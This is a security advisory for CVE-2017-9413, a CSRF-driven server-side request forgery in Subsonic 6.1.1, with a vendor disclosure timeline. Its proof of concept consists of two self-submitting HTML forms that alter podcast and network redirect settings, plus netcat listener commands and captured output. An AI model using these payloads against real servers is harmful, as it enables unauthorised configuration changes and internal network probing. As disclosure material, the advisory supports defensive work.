Subsonic 6.1.1 Server Side Request Forgery

`[+] Credits: John Page a.k.a hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-SERVER-SIDE-REQUEST-FORGERY.txt  
[+] ISR: ApparitionSec   
  
  
Vendor:  
================  
www.subsonic.org  
  
  
  
Product:  
===============  
subsonic v6.1.1  
  
Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.  
  
  
  
Vulnerability Type:  
==================================  
CSRF - Server Side Request Forgery  
  
  
  
CVE Reference:  
==============  
CVE-2017-9413  
  
  
  
Security Issue:  
================  
Remote attackers can abuse the Podcast feature of subsonic to launch Server Side Request Forgery attacks on the internal network   
or to the internet if an authenticated user clicks a malicious link or visits an attacker controlled webpage. SSRF can be used to  
bypass Firewall restriction on LAN.  
  
e.g  
  
nc.exe -llvp 1337  
listening on [any] 1337 ...  
  
connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428  
GET / HTTP/1.1  
Cache-Control: no-cache  
Pragma: no-cache  
User-Agent: Java/1.8.0_45  
Host: 127.0.0.1:1337  
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2  
Connection: keep-alive  
  
  
Exploit/POC:  
=============  
nc.exe -llvp 1337  
listening on [any] 1337 ...  
  
  
1) Subscribe to Podcast CSRF Persistent SSRF  
  
<form method="post" action="http://localhost:4040/podcastReceiverAdmin.view?">  
<input type="text" name="add" value="http://127.0.0.1:1337">  
<input type="submit" value="OK">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
nc.exe -llvp 5555  
listening on [any] 5555 ...  
  
  
2) Interet Radio Settings CSRF Persistent SSRF  
  
<form action="http://localhost:4040/networkSettings.view" method="post">  
<input name="portForwardingEnabled" type="hidden" value="true"/>  
<input type="hidden" name="_portForwardingEnabled" value="on"/>  
<input name="urlRedirectionEnabled" type="hidden" value="true" />  
<input type="hidden" name="_urlRedirectionEnabled" value="on"/>  
<input name="urlRedirectType" type="radio" value="NORMAL"/>  
<input name="urlRedirectFrom" type="radio" value="yourname"/>  
<input name="urlRedirectType" type="radio" value="CUSTOM" checked="true" />  
<input name="urlRedirectCustomUrl" type="hidden" value="http://127.0.0.1:5555"/>  
<script>document.forms[0].submit()</script>  
</form>   
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
==================================  
Vendor Notification: May 29, 2017  
Vendor Acknowledgement: May 30, 2017  
June 4, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`